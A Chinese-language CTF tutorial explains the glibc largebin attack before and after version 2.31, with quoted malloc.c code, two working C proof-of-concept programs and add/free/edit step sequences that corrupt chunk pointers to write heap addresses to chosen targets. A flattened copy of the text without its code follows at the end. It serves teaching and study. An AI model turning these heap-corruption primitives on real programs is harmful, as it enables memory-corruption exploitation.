largebin attack高低版本的使用
字数 860 2025-08-22 12:22:24

Largebin Attack 高低版本利用详解

1. 概述

Largebin attack 是一种在 CTF 比赛中常用的堆利用技术,与 unsortedbin attack 不同,它能够向任意地址写入堆块地址而非 main_arena 地址。该技术在 glibc 2.31 版本前后有所差异。

2. 版本差异

  • 2.31 之前:相对简单,较少使用,主要作为 unsortedbin attack 的替代品
  • 2.31 之后:增加了安全检查,但仍可绕过

3. 2.31 之前的 Largebin Attack

3.1 原理

漏洞主要存在于以下代码段(glibc-2.29/malloc/malloc.c:3841):

victim_index = largebin_index(size);
bck = bin_at(av, victim_index);
fwd = bck->fd;

if (fwd != bck) {
    size |= PREV_INUSE;
    assert(chunk_main_arena(bck->bk));
    if ((unsigned long)(size) < (unsigned long)chunksize_nomask(bck->bk)) {
        fwd = bck;
        bck = bck->bk;
        victim->fd_nextsize = fwd->fd;
        victim->bk_nextsize = fwd->fd->bk_nextsize;
        fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
    }
    // ... 其他代码
}

关键利用点:

victim->bk_nextsize = fwd->fd->bk_nextsize;
victim->bk_nextsize->fd_nextsize = victim;

3.2 利用条件

  1. 两个 chunk 的 size 不能相等
  2. large bin 的 fd_nextsize 需要设置为 0

3.3 POC 分析

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main() {
    unsigned long stack_var1 = 0;
    unsigned long stack_var2 = 0;
    
    // 分配堆块
    unsigned long *p1 = malloc(0x420);
    malloc(0x20); // 防止合并
    unsigned long *p2 = malloc(0x500);
    malloc(0x20); // 防止合并
    unsigned long *p3 = malloc(0x500);
    malloc(0x20); // 防止合并
    
    // 释放堆块
    free(p1);
    free(p2);
    
    // 触发 largebin 操作
    malloc(0x90);
    
    // 释放第三个大块
    free(p3);
    
    // 修改 p2 的元数据
    p2[-1] = 0x3f1; // 修改 size
    p2[0] = 0;
    p2[2] = 0;
    p2[1] = (unsigned long)(&stack_var1 - 2); // 修改 bk
    p2[3] = (unsigned long)(&stack_var2 - 4); // 修改 bk_nextsize
    
    // 触发攻击
    malloc(0x90);
    
    printf("stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
    printf("stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
    
    assert(stack_var1 != 0);
    assert(stack_var2 != 0);
    return 0;
}

3.4 攻击步骤总结

  1. 分配堆块:

    add(0x420) #1
    add(0x20)
    add(0x500) #2
    add(0x20)
    add(0x500) #3
    add(0x20)
    
  2. 释放堆块:

    free(1)
    free(2)
    
  3. 触发 largebin 操作:

    add(0x90)
    
  4. 释放第三个大块:

    free(3)
    
  5. 修改堆块元数据:

    edit(2) # 修改 size (<0x500), bk=目标地址-0x10, bk_nextsize=目标地址-0x20
    
  6. 触发攻击:

    add(0x90)
    

4. 2.31 之后的 Largebin Attack

4.1 新增的安全检查

if (__glibc_unlikely(fwd->bk_nextsize->fd_nextsize != fwd)) {
    malloc_printerr("malloc(): largebin double linked list corrupted (nextsize)");
}

if (bck->fd != fwd) {
    malloc_printerr("malloc(): largebin double linked list corrupted (bk)");
}

4.2 绕过方法

通过精心构造堆布局,可以绕过这些检查。

4.3 POC 分析

#include <stdio.h>
#include <stdlib.h>

int main() {
    unsigned long target = 0;
    
    // 分配堆块
    unsigned long *p1 = malloc(0x428);
    malloc(0x20); // 防止合并
    unsigned long *p2 = malloc(0x418);
    malloc(0x20); // 防止合并
    
    // 释放并重新分配
    free(p1);
    malloc(0x438); // 比 p1 大
    
    // 释放 p2
    free(p2);
    
    // 修改 p1 的 bk_nextsize
    p1[3] = (unsigned long)(&target - 4);
    
    // 触发攻击
    malloc(0x438); // 比 p2 大
    
    printf("target (%p): %p\n", &target, (void *)target);
    return 0;
}

4.4 攻击步骤总结

  1. 分配堆块:

    add(0x428) #1
    add(0x20)
    add(0x418) #2
    add(0x20)
    
  2. 释放并重新分配:

    free(1)
    add(0x438) #3
    
  3. 释放第二个大块:

    free(2) # 此时1在largebin,2在unsortedbin
    
  4. 修改堆块元数据:

    edit(1) # 修改 bk_nextsize=目标地址-0x20
    
  5. 触发攻击:

    add(0x438) # 大于2号堆块
    

5. 关键点总结

  1. 版本差异

    • 2.31 之前:检查较少,利用简单
    • 2.31 之后:增加了双向链表完整性检查
  2. 写入目标

    • 可以同时写入两个地址(通过 bk 和 bk_nextsize)
    • 写入的是堆地址而非 libc 地址
  3. 堆布局要点

    • 需要使用小堆块隔离大堆块防止合并
    • 需要精确控制堆块大小关系
    • 在 2.31 之后需要确保链表完整性不被破坏
  4. 应用场景

    • 修改敏感数据(如 global_max_fast)
    • 为后续攻击做准备
    • 绕过某些保护机制

6. 参考链接

  1. glibc-2.29-large-bin-attack-原理
  2. how2heap
Largebin Attack 高低版本利用详解 1. 概述 Largebin attack 是一种在 CTF 比赛中常用的堆利用技术,与 unsortedbin attack 不同,它能够向任意地址写入堆块地址而非 main_ arena 地址。该技术在 glibc 2.31 版本前后有所差异。 2. 版本差异 2.31 之前 :相对简单,较少使用,主要作为 unsortedbin attack 的替代品 2.31 之后 :增加了安全检查,但仍可绕过 3. 2.31 之前的 Largebin Attack 3.1 原理 漏洞主要存在于以下代码段(glibc-2.29/malloc/malloc.c:3841): 关键利用点: 3.2 利用条件 两个 chunk 的 size 不能相等 large bin 的 fd_ nextsize 需要设置为 0 3.3 POC 分析 3.4 攻击步骤总结 分配堆块: 释放堆块: 触发 largebin 操作: 释放第三个大块: 修改堆块元数据: 触发攻击: 4. 2.31 之后的 Largebin Attack 4.1 新增的安全检查 4.2 绕过方法 通过精心构造堆布局,可以绕过这些检查。 4.3 POC 分析 4.4 攻击步骤总结 分配堆块: 释放并重新分配: 释放第二个大块: 修改堆块元数据: 触发攻击: 5. 关键点总结 版本差异 : 2.31 之前:检查较少,利用简单 2.31 之后:增加了双向链表完整性检查 写入目标 : 可以同时写入两个地址(通过 bk 和 bk_ nextsize) 写入的是堆地址而非 libc 地址 堆布局要点 : 需要使用小堆块隔离大堆块防止合并 需要精确控制堆块大小关系 在 2.31 之后需要确保链表完整性不被破坏 应用场景 : 修改敏感数据(如 global_ max_ fast) 为后续攻击做准备 绕过某些保护机制 6. 参考链接 glibc-2.29-large-bin-attack-原理 how2heap